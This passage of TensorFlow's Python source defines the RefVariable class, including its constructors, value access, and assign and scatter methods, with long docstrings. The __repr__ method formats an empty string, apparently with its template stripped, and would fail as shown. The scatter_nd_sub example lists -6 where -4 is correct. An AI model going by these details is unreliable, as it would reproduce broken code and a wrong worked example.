`GraphKeys.TRAINABLE_VARIABLES`. The convenience function\n `trainable_variables()` returns the contents of this collection. The\n various `Optimizer` classes use this collection as the default list of\n variables to optimize.\n\n WARNING: tf.Variable objects by default have a non-intuitive memory model. A\n Variable is represented internally as a mutable Tensor which can\n non-deterministically alias other Tensors in a graph. The set of operations\n which consume a Variable and can lead to aliasing is undetermined and can\n change across TensorFlow versions. Avoid writing code which relies on the\n value of a Variable either changing or not changing as other operations\n happen. For example, using Variable objects or simple functions thereof as\n predicates in a `tf.cond` is dangerous and error-prone:\n\n ```\n v = tf.Variable(True)\n tf.cond(v, lambda: v.assign(False), my_false_fn) # Note: this is broken.\n ```\n\n Here, adding `use_resource=True` when constructing the variable will\n fix any nondeterminism issues:\n ```\n v = tf.Variable(True, use_resource=True)\n tf.cond(v, lambda: v.assign(False), my_false_fn)\n ```\n\n To use the replacement for variables which does\n not have these issues:\n\n * Add `use_resource=True` when constructing `tf.Variable`;\n * Call `tf.compat.v1.get_variable_scope().set_use_resource(True)` inside a\n `tf.compat.v1.variable_scope` before the `tf.compat.v1.get_variable()` call.\n \"\"\"\n\n def __init__(\n self, # pylint: disable=super-init-not-called\n initial_value=None,\n trainable=None,\n collections=None,\n validate_shape=True,\n caching_device=None,\n name=None,\n variable_def=None,\n dtype=None,\n expected_shape=None,\n import_scope=None,\n constraint=None,\n use_resource=None,\n synchronization=VariableSynchronization.AUTO,\n aggregation=VariableAggregation.NONE,\n shape=None):\n \"\"\"Creates a new variable with value `initial_value`.\n\n The new variable is added to the graph collections listed in `collections`,\n which defaults to `[GraphKeys.GLOBAL_VARIABLES]`.\n\n If `trainable` is `True` the variable is also added to the graph collection\n `GraphKeys.TRAINABLE_VARIABLES`.\n\n This constructor creates both a `variable` Op and an `assign` Op to set the\n variable to its initial value.\n\n Args:\n initial_value: A `Tensor`, or Python object convertible to a `Tensor`,\n which is the initial value for the Variable. The initial value must have\n a shape specified unless `validate_shape` is set to False. Can also be a\n callable with no argument that returns the initial value when called. In\n that case, `dtype` must be specified. (Note that initializer functions\n from init_ops.py must first be bound to a shape before being used here.)\n trainable: If `True`, also adds the variable to the graph collection\n `GraphKeys.TRAINABLE_VARIABLES`. This collection is used as the default\n list of variables to use by the `Optimizer` classes. Defaults to `True`,\n unless `synchronization` is set to `ON_READ`, in which case it defaults\n to `False`.\n collections: List of graph collections keys. The new variable is added to\n these collections. Defaults to `[GraphKeys.GLOBAL_VARIABLES]`.\n validate_shape: If `False`, allows the variable to be initialized with a\n value of unknown shape. If `True`, the default, the shape of\n `initial_value` must be known.\n caching_device: Optional device string describing where the Variable\n should be cached for reading. Defaults to the Variable's device. If not\n `None`, caches on another device. Typical use is to cache on the device\n where the Ops using the Variable reside, to deduplicate copying through\n `Switch` and other conditional statements.\n name: Optional name for the variable. Defaults to `'Variable'` and gets\n uniquified automatically.\n variable_def: `VariableDef` protocol buffer. If not `None`, recreates the\n Variable object with its contents, referencing the variable's nodes in\n the graph, which must already exist. The graph is not changed.\n `variable_def` and the other arguments are mutually exclusive.\n dtype: If set, initial_value will be converted to the given type. If\n `None`, either the datatype will be kept (if `initial_value` is a\n Tensor), or `convert_to_tensor` will decide.\n expected_shape: A TensorShape. If set, initial_value is expected to have\n this shape.\n import_scope: Optional `string`. Name scope to add to the `Variable.` Only\n used when initializing from protocol buffer.\n constraint: An optional projection function to be applied to the variable\n after being updated by an `Optimizer` (e.g. used to implement norm\n constraints or value constraints for layer weights). The function must\n take as input the unprojected Tensor representing the value of the\n variable and return the Tensor for the projected value (which must have\n the same shape). Constraints are not safe to use when doing asynchronous\n distributed training.\n use_resource: whether to use resource variables.\n synchronization: Indicates when a distributed a variable will be\n aggregated. Accepted values are constants defined in the class\n `tf.VariableSynchronization`. By default the synchronization is set to\n `AUTO` and the current `DistributionStrategy` chooses when to\n synchronize.\n aggregation: Indicates how a distributed variable will be aggregated.\n Accepted values are constants defined in the class\n `tf.VariableAggregation`.\n shape: (optional) The shape of this variable. If None, the shape of\n `initial_value` will be used. When setting this argument to\n `tf.TensorShape(None)` (representing an unspecified shape), the variable\n can be assigned with values of different shapes.\n\n Raises:\n ValueError: If both `variable_def` and initial_value are specified.\n ValueError: If the initial value is not specified, or does not have a\n shape and `validate_shape` is `True`.\n RuntimeError: If eager execution is enabled.\n \"\"\"\n\n SaveSliceInfo = Variable.SaveSliceInfo\n\n\n# TODO(apassos): do not repeat all comments here\nclass RefVariable(VariableV1):\n \"\"\"Ref-based implementation of variables.\"\"\"\n\n def __init__(\n self, # pylint: disable=super-init-not-called\n initial_value=None,\n trainable=None,\n collections=None,\n validate_shape=True,\n caching_device=None,\n name=None,\n variable_def=None,\n dtype=None,\n expected_shape=None,\n import_scope=None,\n constraint=None,\n synchronization=None,\n aggregation=None,\n shape=None):\n \"\"\"Creates a new variable with value `initial_value`.\n\n The new variable is added to the graph collections listed in `collections`,\n which defaults to `[GraphKeys.GLOBAL_VARIABLES]`.\n\n If `trainable` is `True` the variable is also added to the graph collection\n `GraphKeys.TRAINABLE_VARIABLES`.\n\n This constructor creates both a `variable` Op and an `assign` Op to set the\n variable to its initial value.\n\n Args:\n initial_value: A `Tensor`, or Python object convertible to a `Tensor`,\n which is the initial value for the Variable. The initial value must have\n a shape specified unless `validate_shape` is set to False. Can also be a\n callable with no argument that returns the initial value when called. In\n that case, `dtype` must be specified. (Note that initializer functions\n from init_ops.py must first be bound to a shape before being used here.)\n trainable: If `True`, also adds the variable to the graph collection\n `GraphKeys.TRAINABLE_VARIABLES`. This collection is used as the default\n list of variables to use by the `Optimizer` classes. Defaults to `True`,\n unless `synchronization` is set to `ON_READ`, in which case it defaults\n to `False`.\n collections: List of graph collections keys. The new variable is added to\n these collections. Defaults to `[GraphKeys.GLOBAL_VARIABLES]`.\n validate_shape: If `False`, allows the variable to be initialized with a\n value of unknown shape. If `True`, the default, the shape of\n `initial_value` must be known.\n caching_device: Optional device string describing where the Variable\n should be cached for reading. Defaults to the Variable's device. If not\n `None`, caches on another device. Typical use is to cache on the device\n where the Ops using the Variable reside, to deduplicate copying through\n `Switch` and other conditional statements.\n name: Optional name for the variable. Defaults to `'Variable'` and gets\n uniquified automatically.\n variable_def: `VariableDef` protocol buffer. If not `None`, recreates the\n Variable object with its contents, referencing the variable's nodes in\n the graph, which must already exist. The graph is not changed.\n `variable_def` and the other arguments are mutually exclusive.\n dtype: If set, initial_value will be converted to the given type. If\n `None`, either the datatype will be kept (if `initial_value` is a\n Tensor), or `convert_to_tensor` will decide.\n expected_shape: A TensorShape. If set, initial_value is expected to have\n this shape.\n import_scope: Optional `string`. Name scope to add to the `Variable.` Only\n used when initializing from protocol buffer.\n constraint: An optional projection function to be applied to the variable\n after being updated by an `Optimizer` (e.g. used to implement norm\n constraints or value constraints for layer weights). The function must\n take as input the unprojected Tensor representing the value of the\n variable and return the Tensor for the projected value (which must have\n the same shape). Constraints are not safe to use when doing asynchronous\n distributed training.\n synchronization: Indicates when a distributed a variable will be\n aggregated. Accepted values are constants defined in the class\n `tf.VariableSynchronization`. By default the synchronization is set to\n `AUTO` and the current `DistributionStrategy` chooses when to\n synchronize.\n aggregation: Indicates how a distributed variable will be aggregated.\n Accepted values are constants defined in the class\n `tf.VariableAggregation`.\n shape: (optional) The shape of this variable. If None, the shape of\n `initial_value` will be used. When setting this argument to\n `tf.TensorShape(None)` (representing an unspecified shape), the variable\n can be assigned with values of different shapes.\n\n Raises:\n ValueError: If both `variable_def` and initial_value are specified.\n ValueError: If the initial value is not specified, or does not have a\n shape and `validate_shape` is `True`.\n RuntimeError: If eager execution is enabled.\n \"\"\"\n self._in_graph_mode = True\n if variable_def:\n # If variable_def is provided, recreates the variable from its fields.\n if initial_value:\n raise ValueError(\"variable_def and initial_value are mutually \"\n \"exclusive.\")\n self._init_from_proto(variable_def, import_scope=import_scope)\n else:\n # Create from initial_value.\n self._init_from_args(\n initial_value=initial_value,\n trainable=trainable,\n collections=collections,\n validate_shape=validate_shape,\n caching_device=caching_device,\n name=name,\n dtype=dtype,\n expected_shape=expected_shape,\n constraint=constraint,\n synchronization=synchronization,\n aggregation=aggregation,\n shape=shape)\n\n def __repr__(self):\n if context.executing_eagerly() and not self._in_graph_mode:\n return \"\" % (\n self.name, self.get_shape(), self.dtype.name,\n ops.numpy_text(self.read_value(), is_repr=True))\n else:\n return \"\" % (\n self.name, self.get_shape(), self.dtype.name)\n\n def _init_from_args(self,\n initial_value=None,\n trainable=None,\n collections=None,\n validate_shape=True,\n caching_device=None,\n name=None,\n dtype=None,\n expected_shape=None,\n constraint=None,\n synchronization=None,\n aggregation=None,\n shape=None):\n \"\"\"Creates a new variable from arguments.\n\n Args:\n initial_value: A `Tensor`, or Python object convertible to a `Tensor`,\n which is the initial value for the Variable. The initial value must have\n a shape specified unless `validate_shape` is set to False. Can also be a\n callable with no argument that returns the initial value when called.\n (Note that initializer functions from init_ops.py must first be bound to\n a shape before being used here.)\n trainable: If `True`, also adds the variable to the graph collection\n `GraphKeys.TRAINABLE_VARIABLES`. This collection is used as the default\n list of variables to use by the `Optimizer` classes. Defaults to `True`,\n unless `synchronization` is set to `ON_READ`, in which case it defaults\n to `False`.\n collections: List of graph collections keys. The new variable is added to\n these collections. Defaults to `[GraphKeys.GLOBAL_VARIABLES]`.\n validate_shape: If `False`, allows the variable to be initialized with a\n value of unknown shape. If `True`, the default, the shape of\n `initial_value` must be known.\n caching_device: Optional device string or function describing where the\n Variable should be cached for reading. Defaults to the Variable's\n device. If not `None`, caches on another device. Typical use is to\n cache on the device where the Ops using the Variable reside, to\n deduplicate copying through `Switch` and other conditional statements.\n name: Optional name for the variable. Defaults to `'Variable'` and gets\n uniquified automatically.\n dtype: If set, initial_value will be converted to the given type. If None,\n either the datatype will be kept (if initial_value is a Tensor) or\n float32 will be used (if it is a Python object convertible to a Tensor).\n expected_shape: Deprecated. Ignored.\n constraint: An optional projection function to be applied to the variable\n after being updated by an `Optimizer` (e.g. used to implement norm\n constraints or value constraints for layer weights). The function must\n take as input the unprojected Tensor representing the value of the\n variable and return the Tensor for the projected value (which must have\n the same shape). Constraints are not safe to use when doing asynchronous\n distributed training.\n synchronization: Indicates when a distributed a variable will be\n aggregated. Accepted values are constants defined in the class\n `tf.VariableSynchronization`. By default the synchronization is set to\n `AUTO` and the current `DistributionStrategy` chooses when to\n synchronize.\n aggregation: Indicates how a distributed variable will be aggregated.\n Accepted values are constants defined in the class\n `tf.VariableAggregation`.\n shape: (optional) The shape of this variable. If None, the shape of\n `initial_value` will be used. When setting this argument to\n `tf.TensorShape(None)` (representing an unspecified shape), the variable\n can be assigned with values of different shapes.\n\n Raises:\n ValueError: If the initial value is not specified, or does not have a\n shape and `validate_shape` is `True`.\n RuntimeError: If lifted into the eager context.\n \"\"\"\n _ = expected_shape\n if initial_value is None:\n raise ValueError(\"initial_value must be specified.\")\n init_from_fn = callable(initial_value)\n\n if collections is None:\n collections = [ops.GraphKeys.GLOBAL_VARIABLES]\n if not isinstance(collections, (list, tuple, set)):\n raise ValueError(\n \"collections argument to Variable constructor must be a list, tuple, \"\n \"or set. Got %s of type %s\" % (collections, type(collections)))\n if constraint is not None and not callable(constraint):\n raise ValueError(\"The `constraint` argument must be a callable.\")\n\n # Store the graph key so optimizers know how to only retrieve variables from\n # this graph.\n self._graph_key = ops.get_default_graph()._graph_key # pylint: disable=protected-access\n if isinstance(initial_value, trackable.CheckpointInitialValue):\n self._maybe_initialize_trackable()\n self._update_uid = initial_value.checkpoint_position.restore_uid\n initial_value = initial_value.wrapped_value\n\n synchronization, aggregation, trainable = (\n validate_synchronization_aggregation_trainable(synchronization,\n aggregation, trainable,\n name))\n self._synchronization = synchronization\n self._aggregation = aggregation\n self._trainable = trainable\n if trainable and ops.GraphKeys.TRAINABLE_VARIABLES not in collections:\n collections = list(collections) + [ops.GraphKeys.TRAINABLE_VARIABLES]\n with ops.init_scope():\n # Ensure that we weren't lifted into the eager context.\n if context.executing_eagerly():\n raise RuntimeError(\n \"RefVariable not supported when eager execution is enabled. \")\n with ops.name_scope(name, \"Variable\",\n [] if init_from_fn else [initial_value]) as name:\n\n if init_from_fn:\n # Use attr_scope and device(None) to simulate the behavior of\n # colocate_with when the variable we want to colocate with doesn't\n # yet exist.\n true_name = ops.name_from_scope_name(name) # pylint: disable=protected-access\n attr = attr_value_pb2.AttrValue(\n list=attr_value_pb2.AttrValue.ListValue(\n s=[compat.as_bytes(\"loc:@%s\" % true_name)]))\n # pylint: disable=protected-access\n with ops.get_default_graph()._attr_scope({\"_class\": attr}):\n with ops.name_scope(\"Initializer\"), ops.device(None):\n self._initial_value = ops.convert_to_tensor(\n initial_value(), name=\"initial_value\", dtype=dtype)\n if shape is None:\n shape = (\n self._initial_value.get_shape()\n if validate_shape else tensor_shape.unknown_shape())\n self._variable = state_ops.variable_op_v2(\n shape, self._initial_value.dtype.base_dtype, name=name)\n # pylint: enable=protected-access\n\n # Or get the initial value from a Tensor or Python object.\n else:\n self._initial_value = ops.convert_to_tensor(\n initial_value, name=\"initial_value\", dtype=dtype)\n # pylint: disable=protected-access\n if self._initial_value.op._get_control_flow_context() is not None:\n raise ValueError(\n \"Initializer for variable %s is from inside a control-flow \"\n \"construct, such as a loop or conditional. When creating a \"\n \"variable inside a loop or conditional, use a lambda as the \"\n \"initializer.\" % name)\n if shape is None:\n # pylint: enable=protected-access\n shape = (\n self._initial_value.get_shape()\n if validate_shape else tensor_shape.unknown_shape())\n # In this case, the variable op can't be created until after the\n # initial_value has been converted to a Tensor with a known type.\n self._variable = state_ops.variable_op_v2(\n shape, self._initial_value.dtype.base_dtype, name=name)\n self._is_sparse=False\n\n # Manually overrides the variable's shape with the initial value's.\n if validate_shape:\n initial_value_shape = self._initial_value.get_shape()\n if not initial_value_shape.is_fully_defined():\n raise ValueError(\"initial_value must have a shape specified: %s\" %\n self._initial_value)\n\n # If 'initial_value' makes use of other variables, make sure we don't\n # have an issue if these other variables aren't initialized first by\n # using their initialized_value() method.\n self._initializer_op = state_ops.assign(\n self._variable,\n _try_guard_against_uninitialized_dependencies(\n name, self._initial_value),\n validate_shape=validate_shape).op\n\n # TODO(vrv): Change this class to not take caching_device, but\n # to take the op to colocate the snapshot with, so we can use\n # colocation rather than devices.\n if caching_device is not None:\n with ops.device(caching_device):\n self._snapshot = array_ops.identity(self._variable, name=\"read\")\n else:\n with ops.colocate_with(self._variable.op):\n self._snapshot = array_ops.identity(self._variable, name=\"read\")\n ops.add_to_collections(collections, self)\n\n self._caching_device = caching_device\n self._save_slice_info = None\n self._constraint = constraint\n\n def _init_from_proto(self, variable_def, import_scope=None):\n \"\"\"Recreates the Variable object from a `VariableDef` protocol buffer.\n\n Args:\n variable_def: `VariableDef` protocol buffer, describing a variable whose\n nodes already exists in the graph.\n import_scope: Optional `string`. Name scope to add.\n \"\"\"\n assert isinstance(variable_def, variable_pb2.VariableDef)\n # Create from variable_def.\n g = ops.get_default_graph()\n self._variable = g.as_graph_element(\n ops.prepend_name_scope(\n variable_def.variable_name, import_scope=import_scope))\n self._initializer_op = g.as_graph_element(\n ops.prepend_name_scope(\n variable_def.initializer_name, import_scope=import_scope))\n # Tests whether initial_value_name exists first for backwards compatibility.\n if (hasattr(variable_def, \"initial_value_name\") and\n variable_def.initial_value_name):\n self._initial_value = g.as_graph_element(\n ops.prepend_name_scope(\n variable_def.initial_value_name, import_scope=import_scope))\n else:\n self._initial_value = None\n synchronization, aggregation, trainable = (\n validate_synchronization_aggregation_trainable(\n variable_def.synchronization, variable_def.aggregation,\n variable_def.trainable, variable_def.variable_name))\n self._synchronization = synchronization\n self._aggregation = aggregation\n self._trainable = trainable\n self._snapshot = g.as_graph_element(\n ops.prepend_name_scope(\n variable_def.snapshot_name, import_scope=import_scope))\n if variable_def.HasField(\"save_slice_info_def\"):\n self._save_slice_info = Variable.SaveSliceInfo(\n save_slice_info_def=variable_def.save_slice_info_def,\n import_scope=import_scope)\n else:\n self._save_slice_info = None\n self._caching_device = None\n self._constraint = None\n self._is_sparse=False\n\n def _as_graph_element(self):\n \"\"\"Conversion function for Graph.as_graph_element().\"\"\"\n return self._variable\n\n def value(self):\n \"\"\"Returns the last snapshot of this variable.\n\n You usually do not need to call this method as all ops that need the value\n of the variable call it automatically through a `convert_to_tensor()` call.\n\n Returns a `Tensor` which holds the value of the variable. You can not\n assign a new value to this tensor as it is not a reference to the variable.\n\n To avoid copies, if the consumer of the returned value is on the same device\n as the variable, this actually returns the live value of the variable, not\n a copy. Updates to the variable are seen by the consumer. If the consumer\n is on a different device it will get a copy of the variable.\n\n Returns:\n A `Tensor` containing the value of the variable.\n \"\"\"\n return self._snapshot\n\n def read_value(self):\n \"\"\"Returns the value of this variable, read in the current context.\n\n Can be different from value() if it's on another device, with control\n dependencies, etc.\n\n Returns:\n A `Tensor` containing the value of the variable.\n \"\"\"\n return array_ops.identity(self._variable, name=\"read\")\n\n def _ref(self):\n \"\"\"Returns a reference to this variable.\n\n You usually do not need to call this method as all ops that need a reference\n to the variable call it automatically.\n\n Returns is a `Tensor` which holds a reference to the variable. You can\n assign a new value to the variable by passing the tensor to an assign op.\n See `tf.Variable.value` if you want to get the value of the\n variable.\n\n Returns:\n A `Tensor` that is a reference to the variable.\n \"\"\"\n return self._variable\n\n def set_shape(self, shape):\n \"\"\"Overrides the shape for this variable.\n\n Args:\n shape: the `TensorShape` representing the overridden shape.\n \"\"\"\n self._ref().set_shape(shape)\n self.value().set_shape(shape)\n\n @property\n def trainable(self):\n return self._trainable\n\n @property\n def synchronization(self):\n return self._synchronization\n\n @property\n def aggregation(self):\n return self._aggregation\n\n def eval(self, session=None):\n \"\"\"In a session, computes and returns the value of this variable.\n\n This is not a graph construction method, it does not add ops to the graph.\n\n This convenience method requires a session where the graph\n containing this variable has been launched. If no session is\n passed, the default session is used. See `tf.compat.v1.Session` for more\n information on launching a graph and on sessions.\n\n ```python\n v = tf.Variable([1, 2])\n init = tf.compat.v1.global_variables_initializer()\n\n with tf.compat.v1.Session() as sess:\n sess.run(init)\n # Usage passing the session explicitly.\n print(v.eval(sess))\n # Usage with the default session. The 'with' block\n # above makes 'sess' the default session.\n print(v.eval())\n ```\n\n Args:\n session: The session to use to evaluate this variable. If none, the\n default session is used.\n\n Returns:\n A numpy `ndarray` with a copy of the value of this variable.\n \"\"\"\n return self._variable.eval(session=session)\n\n @property\n def initial_value(self):\n \"\"\"Returns the Tensor used as the initial value for the variable.\n\n Note that this is different from `initialized_value()` which runs\n the op that initializes the variable before returning its value.\n This method returns the tensor that is used by the op that initializes\n the variable.\n\n Returns:\n A `Tensor`.\n \"\"\"\n return self._initial_value\n\n @property\n def constraint(self):\n \"\"\"Returns the constraint function associated with this variable.\n\n Returns:\n The constraint function that was passed to the variable constructor.\n Can be `None` if no constraint was passed.\n \"\"\"\n return self._constraint\n\n def assign(self, value, use_locking=False, name=None, read_value=True):\n \"\"\"Assigns a new value to the variable.\n\n This is essentially a shortcut for `assign(self, value)`.\n\n Args:\n value: A `Tensor`. The new value for this variable.\n use_locking: If `True`, use locking during the assignment.\n name: The name of the operation to be created\n read_value: if True, will return something which evaluates to the new\n value of the variable; if False will return the assign op.\n\n Returns:\n A `Tensor` that will hold the new value of this variable after\n the assignment has completed.\n \"\"\"\n assign = state_ops.assign(\n self._variable, value, use_locking=use_locking, name=name)\n if read_value:\n return assign\n return assign.op\n\n def assign_add(self, delta, use_locking=False, name=None, read_value=True):\n \"\"\"Adds a value to this variable.\n\n This is essentially a shortcut for `assign_add(self, delta)`.\n\n Args:\n delta: A `Tensor`. The value to add to this variable.\n use_locking: If `True`, use locking during the operation.\n name: The name of the operation to be created\n read_value: if True, will return something which evaluates to the new\n value of the variable; if False will return the assign op.\n\n Returns:\n A `Tensor` that will hold the new value of this variable after\n the addition has completed.\n \"\"\"\n assign = state_ops.assign_add(\n self._variable, delta, use_locking=use_locking, name=name)\n if read_value:\n return assign\n return assign.op\n\n def assign_sub(self, delta, use_locking=False, name=None, read_value=True):\n \"\"\"Subtracts a value from this variable.\n\n This is essentially a shortcut for `assign_sub(self, delta)`.\n\n Args:\n delta: A `Tensor`. The value to subtract from this variable.\n use_locking: If `True`, use locking during the operation.\n name: The name of the operation to be created\n read_value: if True, will return something which evaluates to the new\n value of the variable; if False will return the assign op.\n\n Returns:\n A `Tensor` that will hold the new value of this variable after\n the subtraction has completed.\n \"\"\"\n assign = state_ops.assign_sub(\n self._variable, delta, use_locking=use_locking, name=name)\n if read_value:\n return assign\n return assign.op\n\n def scatter_sub(self, sparse_delta, use_locking=False, name=None):\n \"\"\"Subtracts `tf.IndexedSlices` from this variable.\n\n Args:\n sparse_delta: `tf.IndexedSlices` to be subtracted from this variable.\n use_locking: If `True`, use locking during the operation.\n name: the name of the operation.\n\n Returns:\n A `Tensor` that will hold the new value of this variable after\n the scattered subtraction has completed.\n\n Raises:\n TypeError: if `sparse_delta` is not an `IndexedSlices`.\n \"\"\"\n if not isinstance(sparse_delta, ops.IndexedSlices):\n raise TypeError(\"sparse_delta is not IndexedSlices: %s\" % sparse_delta)\n return gen_state_ops.scatter_sub(\n self._variable,\n sparse_delta.indices,\n sparse_delta.values,\n use_locking=use_locking,\n name=name)\n\n def scatter_add(self, sparse_delta, use_locking=False, name=None):\n \"\"\"Adds `tf.IndexedSlices` to this variable.\n\n Args:\n sparse_delta: `tf.IndexedSlices` to be added to this variable.\n use_locking: If `True`, use locking during the operation.\n name: the name of the operation.\n\n Returns:\n A `Tensor` that will hold the new value of this variable after\n the scattered addition has completed.\n\n Raises:\n TypeError: if `sparse_delta` is not an `IndexedSlices`.\n \"\"\"\n if not isinstance(sparse_delta, ops.IndexedSlices):\n raise TypeError(\"sparse_delta is not IndexedSlices: %s\" % sparse_delta)\n return gen_state_ops.scatter_add(\n self._variable,\n sparse_delta.indices,\n sparse_delta.values,\n use_locking=use_locking,\n name=name)\n\n def scatter_max(self, sparse_delta, use_locking=False, name=None):\n \"\"\"Updates this variable with the max of `tf.IndexedSlices` and itself.\n\n Args:\n sparse_delta: `tf.IndexedSlices` to use as an argument of max with this\n variable.\n use_locking: If `True`, use locking during the operation.\n name: the name of the operation.\n\n Returns:\n A `Tensor` that will hold the new value of this variable after\n the scattered maximization has completed.\n\n Raises:\n TypeError: if `sparse_delta` is not an `IndexedSlices`.\n \"\"\"\n if not isinstance(sparse_delta, ops.IndexedSlices):\n raise TypeError(\"sparse_delta is not IndexedSlices: %s\" % sparse_delta)\n return gen_state_ops.scatter_max(\n self._variable,\n sparse_delta.indices,\n sparse_delta.values,\n use_locking=use_locking,\n name=name)\n\n def scatter_min(self, sparse_delta, use_locking=False, name=None):\n \"\"\"Updates this variable with the min of `tf.IndexedSlices` and itself.\n\n Args:\n sparse_delta: `tf.IndexedSlices` to use as an argument of min with this\n variable.\n use_locking: If `True`, use locking during the operation.\n name: the name of the operation.\n\n Returns:\n A `Tensor` that will hold the new value of this variable after\n the scattered minimization has completed.\n\n Raises:\n TypeError: if `sparse_delta` is not an `IndexedSlices`.\n \"\"\"\n if not isinstance(sparse_delta, ops.IndexedSlices):\n raise TypeError(\"sparse_delta is not IndexedSlices: %s\" % sparse_delta)\n return gen_state_ops.scatter_min(\n self._variable,\n sparse_delta.indices,\n sparse_delta.values,\n use_locking=use_locking,\n name=name)\n\n def scatter_mul(self, sparse_delta, use_locking=False, name=None):\n \"\"\"Multiply this variable by `tf.IndexedSlices`.\n\n Args:\n sparse_delta: `tf.IndexedSlices` to multiply this variable by.\n use_locking: If `True`, use locking during the operation.\n name: the name of the operation.\n\n Returns:\n A `Tensor` that will hold the new value of this variable after\n the scattered multiplication has completed.\n\n Raises:\n TypeError: if `sparse_delta` is not an `IndexedSlices`.\n \"\"\"\n if not isinstance(sparse_delta, ops.IndexedSlices):\n raise TypeError(\"sparse_delta is not IndexedSlices: %s\" % sparse_delta)\n return gen_state_ops.scatter_mul(\n self._variable,\n sparse_delta.indices,\n sparse_delta.values,\n use_locking=use_locking,\n name=name)\n\n def scatter_div(self, sparse_delta, use_locking=False, name=None):\n \"\"\"Divide this variable by `tf.IndexedSlices`.\n\n Args:\n sparse_delta: `tf.IndexedSlices` to divide this variable by.\n use_locking: If `True`, use locking during the operation.\n name: the name of the operation.\n\n Returns:\n A `Tensor` that will hold the new value of this variable after\n the scattered division has completed.\n\n Raises:\n TypeError: if `sparse_delta` is not an `IndexedSlices`.\n \"\"\"\n if not isinstance(sparse_delta, ops.IndexedSlices):\n raise TypeError(\"sparse_delta is not IndexedSlices: %s\" % sparse_delta)\n return gen_state_ops.scatter_div(\n self._variable,\n sparse_delta.indices,\n sparse_delta.values,\n use_locking=use_locking,\n name=name)\n\n def scatter_update(self, sparse_delta, use_locking=False, name=None):\n \"\"\"Assigns `tf.IndexedSlices` to this variable.\n\n Args:\n sparse_delta: `tf.IndexedSlices` to be assigned to this variable.\n use_locking: If `True`, use locking during the operation.\n name: the name of the operation.\n\n Returns:\n A `Tensor` that will hold the new value of this variable after\n the scattered assignment has completed.\n\n Raises:\n TypeError: if `sparse_delta` is not an `IndexedSlices`.\n \"\"\"\n if not isinstance(sparse_delta, ops.IndexedSlices):\n raise TypeError(\"sparse_delta is not IndexedSlices: %s\" % sparse_delta)\n return gen_state_ops.scatter_update(\n self._variable,\n sparse_delta.indices,\n sparse_delta.values,\n use_locking=use_locking,\n name=name)\n\n def batch_scatter_update(self, sparse_delta, use_locking=False, name=None):\n \"\"\"Assigns `tf.IndexedSlices` to this variable batch-wise.\n\n Analogous to `batch_gather`. This assumes that this variable and the\n sparse_delta IndexedSlices have a series of leading dimensions that are the\n same for all of them, and the updates are performed on the last dimension of\n indices. In other words, the dimensions should be the following:\n\n `num_prefix_dims = sparse_delta.indices.ndims - 1`\n `batch_dim = num_prefix_dims + 1`\n `sparse_delta.updates.shape = sparse_delta.indices.shape + var.shape[\n batch_dim:]`\n\n where\n\n `sparse_delta.updates.shape[:num_prefix_dims]`\n `== sparse_delta.indices.shape[:num_prefix_dims]`\n `== var.shape[:num_prefix_dims]`\n\n And the operation performed can be expressed as:\n\n `var[i_1, ..., i_n,\n sparse_delta.indices[i_1, ..., i_n, j]] = sparse_delta.updates[\n i_1, ..., i_n, j]`\n\n When sparse_delta.indices is a 1D tensor, this operation is equivalent to\n `scatter_update`.\n\n To avoid this operation one can looping over the first `ndims` of the\n variable and using `scatter_update` on the subtensors that result of slicing\n the first dimension. This is a valid option for `ndims = 1`, but less\n efficient than this implementation.\n\n Args:\n sparse_delta: `tf.IndexedSlices` to be assigned to this variable.\n use_locking: If `True`, use locking during the operation.\n name: the name of the operation.\n\n Returns:\n A `Tensor` that will hold the new value of this variable after\n the scattered assignment has completed.\n\n Raises:\n TypeError: if `sparse_delta` is not an `IndexedSlices`.\n \"\"\"\n return state_ops.batch_scatter_update(\n self,\n sparse_delta.indices,\n sparse_delta.values,\n use_locking=use_locking,\n name=name)\n\n def scatter_nd_sub(self, indices, updates, name=None):\n \"\"\"Applies sparse subtraction to individual values or slices in a Variable.\n\n `ref` is a `Tensor` with rank `P` and `indices` is a `Tensor` of rank `Q`.\n\n `indices` must be integer tensor, containing indices into `ref`.\n It must be shape `[d_0, ..., d_{Q-2}, K]` where `0 < K <= P`.\n\n The innermost dimension of `indices` (with length `K`) corresponds to\n indices into elements (if `K = P`) or slices (if `K < P`) along the `K`th\n dimension of `ref`.\n\n `updates` is `Tensor` of rank `Q-1+P-K` with shape:\n\n ```\n [d_0, ..., d_{Q-2}, ref.shape[K], ..., ref.shape[P-1]].\n ```\n\n For example, say we want to add 4 scattered elements to a rank-1 tensor to\n 8 elements. In Python, that update would look like this:\n\n ```python\n ref = tf.Variable([1, 2, 3, 4, 5, 6, 7, 8])\n indices = tf.constant([[4], [3], [1] ,[7]])\n updates = tf.constant([9, 10, 11, 12])\n op = ref.scatter_nd_sub(indices, updates)\n with tf.compat.v1.Session() as sess:\n print sess.run(op)\n ```\n\n The resulting update to ref would look like this:\n\n [1, -9, 3, -6, -6, 6, 7, -4]\n\n See `tf.scatter_nd` for more details about how to make updates to\n slices.\n\n Args:\n indices: The indices to be used in the operation.\n updates: The values to be used in the operation.\n name: the name of the operation.\n\n Returns:\n A `Tensor` that will hold the new value of this variable after\n the scattered subtraction has completed.\n \"\"\"\n return gen_state_ops.scatter_nd_sub(\n self._variable, indices, updates, use_locking=True, name=name)\n\n def scatter_nd_add(self, indices, updates, name=None):\n \"\"\"Applies sparse addition to individual values or slices in a Variable.\n\n `ref` is a `Tensor` with rank `P` and `indices` is a `Tensor` of rank `Q`.\n\n `indices` must be integer tensor, containing indices into `ref`.\n It must be shape `[d_0, ..., d_{Q-2}, K]` where `0 < K <= P`.\n\n The innermost dimension of `indices` (with length `K`) corresponds to\n indices into elements (if `K = P`) or slices (if `K < P`) along the `K`th\n dimension of `ref`.\n\n `updates` is `Tensor` of rank `Q-1+P-K` with shape:\n\n ```\n [d_0, ..., d_{Q-2}, ref.shape[K], ..., ref.shape[P-1]].\n ```\n\n For example, say we want to add 4 scattered elements to a rank-1 tensor to\n 8 elements. In Python, that update would look like this:\n\n ```python\n ref = tf.Variable([1, 2, 3, 4, 5, 6, 7, 8])\n indices = tf.constant([[4], [3], [1] ,[7]])\n updates = tf.constant([9, 10, 11, 12])\n add = ref.scatter_nd_add(indices, updates)\n with tf.compat.v1.Session() as sess:\n print sess.run(add)\n ```\n\n The resulting update to ref would look like this:\n\n [1, 13, 3, 14, 14, 6, 7, 20]\n\n See `tf.scatter_nd` for more details about how to make updates to\n slices.\n\n Args:\n indices: The indices to be used in the operation.\n updates: The values to be used in the operation.\n name: the name of the operation.\n\n Returns:\n A `Tensor` that will hold the new value of this variable after\n the scattered addition has completed.\n \"\"\"\n 